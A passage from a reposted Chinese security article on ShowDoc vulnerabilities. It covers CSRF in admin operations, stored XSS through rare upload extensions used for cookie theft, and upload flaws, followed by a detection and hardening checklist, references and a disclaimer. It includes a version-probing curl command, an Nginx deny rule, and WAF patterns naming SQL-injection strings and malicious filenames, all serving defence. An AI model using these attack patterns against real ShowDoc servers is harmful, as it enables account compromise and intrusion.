添加用户、删除项目等管理操作缺少 CSRF token,可诱导已登录管理员访问恶意页面触发。渗透场景下适合钓鱼组合拳;防御侧在 2.10.4 前后陆续修复。检测方式:审计日志中管理操作请求头缺失 Referer/Origin 一致性校验记录(旧版本无校验,只能从”管理操作来自外部 referer”侧面发现)。

5.3 存储型 XSS 军团(CVE-2022-0940 ~ 1034 等,2.10.4 修复)

上传白名单允许 .webmv/.webma/.ofd/.properties/.cshtm 等”罕见扩展名”,这些文件会被浏览器按 HTML/文本渲染,其中内嵌的  即存储型 XSS。利用模式:低权限成员上传恶意 .ofd → 高权限成员浏览触发 → 盗 cookie。修复于 2.10.4(白名单收敛)。检测:上传目录扫描上述扩展名文件并抽查内容。

5.4 CVE-2022-0409 与 CVE-2021-41745

同为上传类缺陷(CVE-2022-0409 需登录,CVE-2021-41745 未授权,2.8.3 版本),与篇二同根:上传环节类型校验不完整。处置统一口径:能上 3.x 最新版就别停在 2.x。


检测与加固总清单(全系列适用)

资产盘点(安全团队,1 天内)

  1. FOFA/Hunter 测绘 app="ShowDoc" 比对资产台账;验收:每实例有责任人、版本号、暴露面(公网/内网)三要素。
  2. 版本核对命令:curl -s http://target/server/index.php | grep -oiE 'v[0-9]+\.[0-9]+\.[0-9]+';验收:输出版本与台账一致,不一致则修正。

紧急加固(运维,版本无法立即升级时)3. Nginx 层禁止上传目录解析:location ~* ^/Public/Uploads/.*.(php|phtml)$ { return 403; };验收:向该目录上传 test.php 返回 403。4. WAF 规则三件套:① /api/item/pwd 且参数含 union select/token like;② /home/page/uploadImg 的 filename 含 <> 或非白名单后缀;③ /api/page/sort 的 pages 参数含 “exp” 字面量。验收:三条规则分别用篇二/三/四的 POC 打靶返回拦截。

修复优先级(按链路危害排序)5. < 2.8.7:立即升级(在野利用 + 无前置条件);6. 2.x 全系:升 3.9.4(厂商不回移补丁,2.x 无安全维护);7. 3.0 ~ 3.8.0:≥ 3.8.1(含 CVE-2026-6982 修复);8. < 3.2.6:同时排查 user_token 表访问日志与 Public/Uploads 可疑 php 文件(组合链失陷排查)。

参考资料与证据台账

| 编号/主题 | 来源 | 类型 | 核验状态 | | — | — | — | — | | CNVD-2020-26585 / CVE-2025-0520 | github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585;cvefeed.io/vuln/detail/CVE-2025-0520 | 复现环境 + CVE 记录 | 官方修复(PR #1059,commit fb77dd4/e1cd02a),已交叉验证 | | 在野攻击(僵尸网络/挖矿) | developer.aliyun.com/article/788086 | 厂商安全团队报告 | 已确认(2021-04-24 起监测) | | 2024 SQL 注入 < 3.2.6 | oscs1024.com/hd/MPS-d9mn-w0ph;长亭社区分析 rivers.chaitin.cn/blog/cq951f10lnechd244hn0;rustlang.rs 技术博客 | OSCS + 社区分析 | 补丁 commit 84fc28d 已核对;POC 已交叉验证(ddddocr 版) | | Phar 反序列化 ≤ 3.2.4 | 长亭社区同篇 + 官方 commit 8059835 | 社区分析 + 补丁 | commit 将 new_is_writeable 改 private,已核对 | | CVE-2026-6982 | cve.org/CVERecord?id=CVE-2026-6982;vuldb.com/vuln/359525;github.com/star7th/showdoc/releases/tag/v3.8.1 | CVE + VulDB + 官方发布 | 版本矩阵与修复版本官方确认;注入向量细节为作者基于 v3.8.0/3.8.1 源码 diff 的推断,公开 exploit 不存在(VulDB 明确记录) | | CVE-2022-0362 | sechead.com(huntr POC);github.com/star7th/showdoc/commit/2b34e267e4186125f99bfa420140634ad45801fb | huntr 报告 + 补丁 | CVSS 分歧已并列标注(NVD 9.8 vs 实际 PR:H) | | 2022 XSS/CSRF 批量 CVE | opencve.io/cve/?vendor=showdoc(43 条记录) | CVE 数据库 | 影响/修复版本以 OpenCVE 汇总为准 |

信息可靠性说明

  • 官方确认:篇二、篇三、篇四的漏洞存在性、影响版本、修复版本均由官方 commit/release 直接佐证。
  • 交叉验证:篇二 POC(Vulhub 官方环境)、篇三 POC(OSCS/长亭/个人博客三源一致)。
  • 作者推断(未完全证实):篇四 4.3 节 exp 表达式注入向量为源码 diff 推断,原始 Gist POC 已 404,公开渠道无 exploit;正式对外引用时请保留”推断”限定。
  • 已知分歧:CVE-2022-0362 的 CVSS 评分 NVD 与其他数据库不一致,本文按利用条件(需管理员)给出 6.7 的务实评估。

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全很忙 《ShowDoc漏洞系列-完整版》

评论:0   参与:  0